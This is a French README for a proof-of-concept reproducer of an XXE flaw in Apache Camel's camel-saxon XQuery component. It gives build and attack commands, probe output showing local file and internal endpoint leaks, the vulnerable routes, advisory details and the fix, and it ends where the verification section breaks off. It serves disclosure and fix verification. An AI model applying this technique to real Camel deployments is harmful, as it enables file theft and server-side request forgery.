
Reproducteur de preuve de concept exécutable pour CVE-2026-90885, une XXE (CWE-611) dans Apache Camel camel-saxon XQuery, avec des builds Spring Boot et Quarkus et une vérification du correctif.
Source déjà construit était analysée avec les paramètres par défaut de Saxon (XXE)Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où XQueryBuilder dans
camel-saxon — qui évalue des expressions à la fois pour le langage xquery et le
composant xquery — construisait sa Configuration Saxon par défaut avec des options d'analyse ne portant que sur une règle de suppression des espaces blancs, laissant l'analyseur XML à ses valeurs par défaut : une déclaration DOCTYPE est acceptée et les entités externes sont résolues.
| Runtime | Répertoire | Pile |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Pourquoi 4.22.1 pour Spring Boot : le correctif n'a été rétroporté vers
camel-4.22.xqu'après la publication de 4.22.1, donc 4.22.1 est la dernière version affectée de cette branche et 4.22.2 la première corrigée. Épingler 4.22.1 fait de cette frontière le point du reproducteur.
Les corps String, byte[] et InputStream sont convertis en javax.xml.transform.Source par les propres
convertisseurs de type XML de Camel, qui configurent l'analyseur contre les entités externes — ces corps n'ont jamais été
affectés. Un corps qui était déjà un Source était transmis à Saxon sans modification, et un Source basé sur un flux
doit encore être analysé, donc Saxon l'analysait avec cette Configuration par défaut.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Sortie sur une build affectée (identique sur les deux runtimes) :
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
La sonde 5 est celle qui compte en pratique. L'expéditeur publie du texte XML brut — la forme du corps qui n'est
pas affectée, comme le montre la sonde 4. La route effectue ensuite convertBodyTo(Source.class) avant que l'expression
ne s'exécute, et cela seul place le corps sur le chemin affecté. Aucun Source construit par l'attaquant, aucun composant
inhabituel, aucune option non par défaut : une seule étape de conversion ordinaire dans la route constitue l'unique
précondition. L'avis nomme explicitement ce cas, ainsi qu'un composant ou un processeur situé plus tôt dans la route qui
définit le corps sur un Source basé sur un flux.
Les sondes 1 à 3 atteignent la même faille en fournissant directement le Source, ce que ferait un composant situé plus
tôt dans la route.
Rien n'est mal configuré. Aucune option configuration, aucun paramètre de parseur, et l'expression ne lit rien :
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
L'attaquant ne contrôle que le document XML évalué.
| Propriété | Valeur |
|---|---|
| Composant | camel-saxon (XQueryBuilder, utilisé par le langage xquery et le composant xquery) |
| CWE | CWE-611 (Restriction inappropriée de la référence d'entité externe XML) |
| Gravité | Élevée |
| Vecteur d'attaque | Un DOCTYPE avec un sous-ensemble externe, ou une entité externe, dans du XML qui atteint une expression XQuery sous forme de Source basée sur un flux déjà construit |
| Impact | Lire des fichiers lisibles par le processus Camel ; amener le processus à émettre des requêtes vers les hôtes nommés par le document |
| Versions affectées | À partir de 4.0.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.2 (le chemin de code est antérieur à 4.0 et était présent dans 2.x/3.x) |
| Versions corrigées | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Crédit | Leon Zlobecki |
Avis : https://camel.apache.org/security/CVE-2026-90885.html
Ce n'est pas le même problème que CVE-2026-85250, qui concernait
documentType=InputSourcedanscamel-xpathet a été corrigé dans 4.18.5, 4.22.1 et 4.23.0. Les deux sont des chemins d'entrée qui contournaient le durcissement par défaut du parseur, mais ce sont des composants différents et aucune des deux corrections ne couvre l'autre — en particulier 4.22.1 corrige CVE-2026-85250 mais pas ce problème.
XQueryBuilder construit désormais sa Configuration par défaut avec des options d'analyse qui activent
disallow-doctype-decl et désactivent external-general-entities, external-parameter-entities et
load-external-dtd, alignant un corps Source sur le parseur durci que le XmlConverter de Camel appliquait déjà
aux corps String, byte[] et InputStream.
Le changement est visible et est consigné dans le guide de mise à niveau 4.23 : un corps qui atteint XQuery sous forme de
Source déjà construit et porte un DOCTYPE est désormais rejeté avec une erreur d'analyse, tandis que les corps sans
DOCTYPE ne sont pas affectés.
Seule la Configuration par défaut est durcie. Celle fournie via l'option configuration de
l'endpoint ou du langage, ou via XQueryBuilder.setConfiguration, est utilisée telle quelle — ainsi un déploiement qui
a réellement besoin du traitement des DOCTYPE ou des entités externes peut le conserver, et un déploiement qui fournit sa propre
Configuration pour toute autre raison doit appliquer lui-même les mêmes options d'analyse.
Corrigé sur main dans apache/camel#26344
(9c23b686), rétroporté vers camel-4.22.x dans #26728
(0d0ed8bb) et vers camel-4.18.x dans #26730 (ed513f3a).
Définissez camel.version sur 4.22.2 (Spring Boot), ou les deux versions de plateforme sur une version de Camel Quarkus embarquant
Camel 4.22.2 ou ultérieur, et exécutez-le à nouveau. Vérifié de 4.22.1 → 4.22.2 :